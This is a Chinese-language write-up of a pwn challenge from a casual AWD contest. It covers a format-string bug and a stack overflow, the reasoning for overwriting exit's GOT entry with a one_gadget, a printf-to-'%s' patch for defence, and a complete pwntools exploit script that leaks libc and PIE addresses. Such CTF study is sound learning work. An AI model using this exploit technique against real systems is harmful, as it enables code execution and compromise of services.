【WP】娱乐赛awd的一道pwn题
题目
开局一个菜单
一开始循环一次就会执行exit退出
encode1
1 | unsigned __int64 encode1() |
encode2
1 | unsigned __int64 encode2() |
encode3
1 | __int64 encode3() |
可能的攻打思路
比较明显的可以看到encode2中存在格式化字符串漏洞,其变量位于bss段
encode1可输入0x1150字节到src中
encode1中buf长度0x110,strcpy把src复制给buf
不难看到这里存在栈溢出
想法一:多次利用格式化字符串改掉返回地址为onegadget
最终行不通,因为该程序在判断循环结束后执行的是exit退出,不会返回到返回地址
想法二:利用栈溢出进行rop
最终也行不通,因为本题开了canary,则必然存在截断字符'\x00',利用strcpy复制造成后续无法成功布置,无法实施rop
想法三:利用格式化字符串修改exit的got表地址
该方法可行。虽然encode2中变量位于bss段,但是可以通过encode1先给src输入字符,再用encode3把src内容复制到栈上,调试可以发现在这之后进入encode2时,栈上仍然会有部分字符残留,通过控制偏移让格式化字符指向栈上残留的字符,并让该部分字符为got表地址,即可对got表进行修改。把exit的got表地址逐字节修改为one_gadget即可。
awd中修复
当时使用的方法是把printf修改为puts,队友帮忙把src读入字节数改小了
不过改为puts会造成结尾多一个回车符另一种修改方式是给格式化字符串补上
%s参数
具体做法是在eh_frame写上%s

然后修改call printf上面的两行汇编1
2mov edi, offset 0x1278
mov esi, offset 0x202210
修复后的encode2变化如下1
printf(byte_202210); --> printf("%s", byte_202210);
须知
- 首先需要利用encode1覆盖循环标记位
- encode2中格式化字符串对应的字符串是经过了运算的,需要控制加密后的字符为想要的
可以暴力打表或者逆运算
这里主要阐述一下逆运算如何计算
假设加密前字符二进制表示为x=abcdefgh
(x&0b11000000) >>6 即取出第四个字节右移到最低位
(x&0b111111) <<2 即取出低位三个字节左移两位
二者相加得到加密结果:cdefghab
逆运算就明朗了,取出最低位两个字节<<6
取出高位三个字节右移两位
相加即可得到原字符
(0xfc=0b11111100)
1 | def de(a): |
- encode1中需要先输入key,再输入src,并进行加密,结果存在src中。观察encode1中的加密算法,假如想让输入内容与存入src的内容相同,则应该让v5等于0
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20__int64 __fastcall sub_B31(__int64 a1, __int64 a2, int a3, int a4)
{
__int64 result; // rax
char v5; // [rsp+23h] [rbp-5h]
int v6; // [rsp+24h] [rbp-4h]
unsigned int i; // [rsp+24h] [rbp-4h]
v6 = 0;
v5 = 0;
while ( v6 < a3 )
v5 ^= *(v6++ + a1);
for ( i = 0; ; ++i )
{
result = i;
if ( i >= a4 )
break;
*(a2 + i) = v5 ^ *(i + a2);
}
return result;
}
而v5是通过与key逐字节异或得到的
所以当key全部为'\0'时
得到的v5就会是0
exp
没有当时的环境了,打的是本地的1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48from pwn import*
context(os='linux', arch='amd64', log_level='debug')
r = process('helloworld')
sa = lambda x, y: r.sendafter(x, y)
sla = lambda x, y: r.sendlineafter(x, y)
def de(a):
a = ord(a)
a = ((a&0xfc)>>2) + ((a&3)<<6)
return chr(a)
def encode1(content):
sla('your choice:', '1')
sa('keys?', '\0'*0x20)
sa('your message to encode:', content)
def encode2(content):
sla('your choice:', '2')
tmp = ''
for i in content:
tmp += de(i)
sa('your message to encode:', tmp)
def encode3():
sla('your choice:', '3')
sa('your message to encode:', '\0'*0x20)
one = [0x45226, 0x4527a, 0xf03a4, 0xf1247]
encode1('\x00'*0x140+'\x14')
encode2('%53$p-%57$p')
r.recvuntil('0x')
base = int(r.recv(12), 16)
r.recvuntil('-0x')
addr = int(r.recv(12), 16)
libc_base = addr-0x020840
one_gadget = libc_base+one[0]
got_addr = base+0x201062+0x58
for i in range(6):
encode1('a'*0x40+'b'*0x20+p64(got_addr+i))
encode3()
off = one_gadget&0xff
pay = '%' + str(off) + 'c' + '%30$hhn'
encode2(pay)
one_gadget = one_gadget>>8
r.interactive()




